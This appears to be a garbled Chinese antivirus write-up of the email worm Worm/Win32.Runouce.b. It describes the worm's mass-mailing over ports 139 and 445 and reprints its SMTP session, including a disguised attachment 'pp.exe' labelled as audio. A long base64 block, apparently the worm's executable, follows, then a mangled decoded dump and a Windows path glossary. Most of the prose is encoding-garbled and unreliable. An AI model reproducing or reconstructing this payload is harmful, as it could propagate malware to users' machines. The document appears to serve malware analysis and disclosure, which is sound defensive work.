https://kzbg3top/L06PO https://6pc3hcc/L06PO

⑴ Worm/Win32.Runouce.b[Email]鐨勭綉緇滆屼負

鍗忚錛歍CP
絝鍙ｏ細139 445
鎻忚堪錛氶氳繃浠ヤ笂絝鍙ｅ彂閫佹伓鎰忛偖浠訛紝閭浠跺唴瀹癸細
HELO btamail.net.cn
MAIL FROM: [email protected]
RCPT TO:
DATA
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
--#BOUNDARY#
Content-Type: text/html
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name=pp.exe
Content-id: THE-CID
TVpQAAIAAAAEAA8A//AA4ftAnNIbg
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A4ACOgQsBAhkAAgAAAAYAAAAAAAAA
AAAAAAEAAAIAAAAAAQAAAQAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQ09ERQAAAAAAEAAAABAAA
AAAAAAAAAAEAAAMAuaWRhdGEAAAAQ
AAAAAAAAAAAAAAAAAAQAAA8AAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
//ge4AEAAAZoE+TVp18w+3fjwD/otveAPui10g
A94zwIvWg8MEQIs7A///Im
0JOAAAADoXgQAAIvpVv/T//Qi/DoywYAAIvpVv/T/KuLzeL1iwQk6A0AAABBRFZBUE
kzMi5ETEwA/9CL8OgdBwAAi+lW//9CL8OhcBwAAi+lW/9P8q4vN4vWLBCToDAAAAFdTT
0NLMzIuRExMAP/Qi/DofAcAAIvpVv/T/KuLzeL1i//1YE/1YIC8B0Aszp/1YMagFQ
/1YQ6GgBAACL9OgNAAAAi/+gkAAI1CO5C
uhFCAAAi4boAAAAaGDqAABQ/1Zkg/
j/5lc2VIYWNrZXItMiBNb25pdG9yA
FhqAFD//
vBUAAFBUagBQUGoAagD/VnSL2FiLhugAAABoYOoAAFD/VmRQagBT/1Z4WIP4/
TAACB7AABAABU6OwGAACL/GoQV/9WcIP4/3Qdi9johRMAAGoAagBT/1Y8U+hjCwAAi/xqB1f/VihQVOguAAAAU09GVFdBUkVcTW
/
VP/lqQAAADoAAAAAF+/1Z0WDPAiYbo
B0b2oBagD/0IuW4AAAAA+3WjwD2ou
VLoUBUAAP9WTFBUagBQVWoAagD/Vl
yJhugAAABYaPQBAAD/VkTM6WoAagD/lowAAABQVFD/logAAABqAGj/Dx8A//1ZoC8B0S
4vojZdyFQAAUFRqTpCQkJBSVVP/VlRYg//VlT/VkxUagBQVWoAagBT/1ZYiYboAAAA
WFP/1lQQDoFAAAAFdpZGVDaGFyVG9
ABfbGNyZWF0AOgUAAAAR2V0U3lzdG
amVjdADoDAAAAENsb3NlSGFuZGxlA
AV3JpdGVQcm9jZXNzTWVtb3J5AOgM
JTZXJ2aWNlUHJvY2VzcwDoBgAAAFN
WFkAOgHAAAAX2xvcGVuAOgMAAAAU2
AABGaW5kTmV4dEZpbGVBAOgPAAAAR
lVHlwZUEA6AgAAABXaW5FeGVjAOgQ
hBAOgNAAAATG9hZExpYnJhcnlBACv
MwekC/+6AwAAABNZXNzYWdlQm94QQ
/+DpWIvM6BgAAABSZWdOb3RpZnlDa
4QQDoDAAAAFJlZ09wZW5LZXlBACvM
wekC/+TmV0T3BlbkVudW1BACvMwek
C/+ZWN0AOgOAAAAZ2V0aG9zdGJ5bm
dHVwACvMwekC/+DpWIvM6AwAAADHu
bHQwO666da+IQDoEAAAAMily//
AAAAz/6AwAAADJ57vh1vfS5brDIQA
rzP/g6cgAAABgi30IaAABAABX/1ZsA//1YUg/
gCcguD+AV0BlToqAAAAFpCWeLlw+kz/++lXagHoIAAAAMPpV2oC6BYAAADD6
VdqAugMAAAAw+//+WtAAA
AFlZC8B1CIv8/1UQ697pU/+/3UI/1YYC8B0Zf9
/VhyL2IP4/3QxVFP/////693pVOhAAA
AA69TpU/9WJMcEJC4uAABU//3UI/xLM6cgAAABg6AYAA
+noBAAAANZQQABaw+
//4v8agBX/1Ywg/j/dECL2LgAAQAAUIvEUFf/loAAAABYA8fHAC5lbWzHQAQ
AAAAAagBX/1Zwg/j/dA+L+FdTagDolQQAAFf/VkBT/+hg////PS53YWJ0IT0uYWRjdC
+gVAwAAgewAAQAAVP+
gJT/1Ywg/j/dBCL2Gg0EgAAVFP/VjhT/1ZAycIEAOnIAAAAi30IjV8sU+jZ/v//
BMnCBABqAFP/VihqAlP/VjCD+P90HIvYU+hcAAAAjUcEjU8MjVcUUlFQU/9WLFP/VkCNXyz/N1P/VijJwgQAagBT/1YoagJT/1Y
wg/j//VixT/1ZAjV8s/zdT///4vEagBQ/1Ywgc
QAAQAAg/j//w+EnwAAAIv4V1NqAOgBAwAAV/9WQIt9CGoCagBX/1Y86
uKCJyZWFkbWUuZW1sIiwgbnVsbCwi
+PC9odG1sPgBYanhQV/9WOFP/VkBhycIEAOnIAAAAYIH
sABAAAIv8aAAQAABX/3UI/1Y0D7dHPAP4O/0Ph9QAAABmgT9QRQ+FyQAAAI2f+AAAAA+3TwZJg8Mo4vs73Q+HsQAAAItHKCtDDH
IjA0MUagBQ/3UI/1Y8UIvEagRQ/3UI//3RwUAX8GQAAK0MUiUMQi1MIO
+D7xFo/BkAAFf/dQj/VjiD+P90GGoA
agD/dQj/+v//i/xqAFf/VjCD+P90D4vYU/91COjXAQA
AU//w+EggAAAIvYgewAAQAAi/wz0lJQi8RqAVBT/1Y0WVoLwHRbi8SDwCA7+H
figPlAdEWA+S50PID5MHIPgPk5cjiA+UFyBYD5fnIuM8D8qoD+AXW7gPoBcrYr/IP/BnKvigQkPEB0qDwudKRU6Ej////rnP7C6
wL+xorB/KrrlFP/VkCBxAABAABhycIEAMgAAABgagD/dQj/VjCD+P90cIvYgewAAQAAi/xoAAEAAFdT/1Y0PQABAAB1S4tHYGoA
UFP/VjyLT2SB+QAQAAB3NlFqRFdT///4HEAAEAAFniyoHEAAE
AAFP/VkBhycIEAMgEAABgiWX8gewAEAAAi/z/dQhX6AoCAABQV/
AwAABX/3UM/1Y0g/j//91EP9WOMcEJ
A0KDQpqBFf/dRD//xUaAEBAAD/lrwAAAALwA+FSQEAAGoAagFq
Av+W1AAAAIP4/w+ELgEAAIvYZscHAgBqGf++WzAAAAAvAD4TyAAAAi0AQiwC
JRwRqEFdT/5bQAAAAg/j/D4TXAAAA/3UIV+jmAAAAagBQV1P/
kEJIv8aAAwAABX/3UM/1Y0g/j/v8a
gBQV1P//5bEAAAAaKAPAAD/VkToBgAAAFFVSVQNClhqAGoGUFP/lsQAAABo
oA8AAP9WRMdF+AEAAABT/5bYAAAA/5bAAAAAi2X8YYtF+MnCCADIBAAAYLgAAQAAK+CL1FBUUv+WgAAAAFjoHQIAAEhFTE8gYnR
FQgVE86ICVzDQpEQVRBDQpGUk9NOi
VmVyc2lvbjogMS4wDQpDb250ZW50L
PVU5EQVJZIw0KQ29udGVudC1UeXBl
FibGUNCg0KPGh0bWw+PEhFQUQ+PC9
UQgaGVpZ2h0PTNEMCB3aWR0aD0zRD
A+PC9pZnJhbWU+9udGVudC1UeXBlO
uZzogYmFzZTY0DQpDb250ZW50LWlk
OiBUSEUtQ0lEDQoNCgBYi/xX/3UMV/91DFD/dQj/lpwAAACL54lF/
zQ1Njc4OSsvAF6LfRCLVQzB4gMz2z
PAuQYAAADR4FP/dQjoMAAAAEp0DUPi74oEBvyq/0X8695J0+CKBAb8qv9F/
/NgAAZGeJJgAA6BwAAAD/Moki/+DpWOgPAAAAiyKP
AmRnjwYAAFlZ/+Dp6AQAAACI/hIAWsPpyAAAAOgIAAAA6NH/////
AAf//AAK4AAdAAAEaACIBAAK6EAABDh+
AQAHAwABCgAGUAADBAAGAgAFEAACI
AAyAAAwIAAwgADkAAAsAuaWRhdGEA
/wD/AP8Aa8P/JTAwQAD/AP8A/wD9KDAACjgwAAIwMAA
/wD/APkAAF+KB0cKwHQNUIvEagFQU/9WOFjr7A+2D0
fjEVFQi8RqAVBT/1Y4WFni8evVw+nIAAAAgewAAQAAM/aL/Ga4DQq5DAAAAPzzZqvo9vD//4sUtAPhigJC/KoKwHX36AkAAAC3o
svNz/vPogDoBAAAAMbz03dYagD/EAvAdFeL2OgEAAAAmMLRd1hqBVP/EAvAdEKL2OgEAAAAruLRd1+B7AAQAABUaAAQAABqDVP/
F4HEABAAAAvAdRtUaAAQAABqDFP//EOlR////6cgAAACLXQiB7AABAAC
L//EFjoBAAAALj/bnlYagBqAGoEagBT/xDoBAAAAEHobnlYaA
ABAABXagFqAFZT//EAvAdCyL2OgEAAAAALTmd1hq/1P/EOgAAAAAWYPBGpCQk
OgEAAAAKnXod1hqAVH/+maPAGaPQAaLdQiLfQyLTRDM
+2HJwgwA6cgAAABgi0UIagBQUGoA/=
緇忚В瀵嗗緱鍒版暟鎹錛 HELO btamail.net.cn
MAIL FROM: [email protected]
RCPT TO:
DATA
FROM: [email protected]
TO:
SUBJECT: A-738DF22C9CA04 is comming!
MIME-Version: 1.0
Content-type: multipart/mixed; boundary=#BOUNDARY#
--#BOUNDARY#
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
--#BOUNDARY#
MIME-Version: 1.0
Content-Type: audio/x-wav; name=pp.exe
Content-Transfer-Encoding: base64
Content-id: THE-CID
MZP ?@ ????L?鎮橳his program must be run under Win32 $7PEL ?楗ㄥ返 D @ ` 0N@ CODE `DATA @?idata 0 @?reloc?@? @?%00@(08000F0F0KERNEL32.dllSleep 0`妗 濯$ ?ah @鐬刌? 浣???f?MZu?絀< 䦆ox 棰] ?緙瘋盁?@? ? GetProcAddress^3鏉 ??瓚楠]$ ??C濯 榪 ?榪婄Τ瀛呭$閼 瀣甐??瀣愭?$?USER32.DLL?濠?瀣甐??瀣愭?$?ADVAPI32.DLL?濠?瀣甐??瀣愭?$?MPR.DLL?濠墮憣瀣甐??瀣愭?$?WSOCK32.DLL?濠墮懎瀣甐??瀣愭╁?ChineseHacker-2jj? ? 緙 娑? j P? 閼 瀣?瀣糷`?D鑵奸枀閽 ? 宕 ?? 宀-鎮欐倧 閴 妤 宀;鎮欐倧 閼 姊 宕?鏋 宀-鎮欐倧 ? 鏋 宀;鎮欐倧 閻 濯秇`P?d鍑?V閻筤?Net Send * My god! Some one killed ChineseHacker-2 MonitorXjP? 闇歒鏋 閼 孌峗濯跺?濯跺 濯跺& 濠〥澧杅 宕?PTjPPjj?t瀣漍濯秇`P?dPjS?xX鍑? 娑昖?^鑳璝閻 鏌侀枀閻 渚 T妗 瀛卝 W?p鍑? 瀣濋懙 jjS?XjxPW?8S?@a闄 妲縛渚 瀛卙 W? ?4 紼< ??鍥媐?PE 鍚峰瘡 紼 I鍏(鎮;?鍤ゅ┇(+C r# C jP? ? --#BOUNDARY# MIME-Version: 1.0 Content-Type: audio/x-wav; name=pp.exe Content-Transfer-Encoding: base64 Content-id: THE-CID X瀛匴? W? P? ?婀呴悧E榧 a濠???`鑽呴惏+/^濯 濠 鑿 3?鎷 鐕昐? ?Jt C鎬? ???杞誇綑? ????M?=??寤揳濠??QRV濯 濠 瀣旈櫟 ? 椴?璋? 鑰漐Y闄 XQ??闁恎?dg?????闁???dg?YY??鍫 Z鐬?鏌??琛Y濠 澧3閮?閼 MZP ? @ ?
&not;???L?鎮橳his program must be run under Win32 $7鍦E L ?楗 宸 @ P 0 N @ SCODE `DATA @ ?idata 0 @ ?reloc @ @ P???%00@??0 80 00 F0 F0 KERNEL32.dll Sleep? 0???G 緙 P瀣唈 PS?8X鑵 ?G?QP瀣唈 PS?8XY鎬﹁儩鐬勪緟 3榘﹂護? ??f?椴???閲 B?綰旈簰 鍙戦佹秷鎮?浼佽РXj?緙╓瀣?妯庤Xj S?緙˙瀣??瑜_渚 Th j S?浼 綰 Th j S?F鍐﹗ 浼 闄 ?B$?Xh??闀??钁朷 渚 瀛?Runonce^h ?楠nyXTWjjVS?X??nyXjjj jS??A閼瀥Xh Wj jVS?鑳欐Э?鐠遍懅X? jh?&not;?緙,瀣?瀛榳Xj??Y鍏 鎮欐劘 *u閼Xj Q?闄 妲縛P L$⺋鍏 ?濠 ?`?鍩 ??閿ff寤 濯 濯 濠 甯朼闄 妲縛濠 jPPj?鎮掗檿
瑙ｅ瘑涔嬪悗鍙戠幇璇ュ唴瀹逛負PE鍙鎵ц屾枃浠訛紝鐥呮瘨璋冪敤緋葷粺鑷甯︾殑Outlook Express鍙戦佹伓鎰忛偖浠訛紝鐥呮瘨鍒╃敤鍙戦佹伓鎰忛偖浠舵潵浼犳挱鑷韜銆
娉錛%System32%鏄涓涓鍙鍙樿礬寰勩傜棶姣掗氳繃鏌ヨ㈡搷浣滅郴緇熸潵鍐沖畾褰撳墠System鏂囦歡澶圭殑浣嶇疆銆
%Windir% 銆 銆 WINDODWS鎵鍦ㄧ洰褰
%DriveLetter%銆 銆閫昏緫椹卞姩鍣ㄦ牴鐩褰
%ProgramFiles%銆 銆 銆 緋葷粺紼嬪簭榛樿ゅ畨瑁呯洰褰
%HomeDrive% 銆 褰撳墠鍚鍔ㄧ殑緋葷粺鐨勬墍鍦ㄥ垎鍖
%Documents and Settings% 銆褰撳墠鐢ㄦ埛鏂囨。鏍圭洰褰
%Temp% 銆Documents and Settings褰撳墠鐢ㄦ埛Local SettingsTemp
%System32% 銆緋葷粺鐨 System32鏂囦歡澶
Windows2000/NT涓榛樿ょ殑瀹夎呰礬寰勬槸C:WinntSystem32
windows95/98/me涓榛樿ょ殑瀹夎呰礬寰勬槸%WINDOWS%System
windowsXP涓榛樿ょ殑瀹夎呰礬寰勬槸%system32%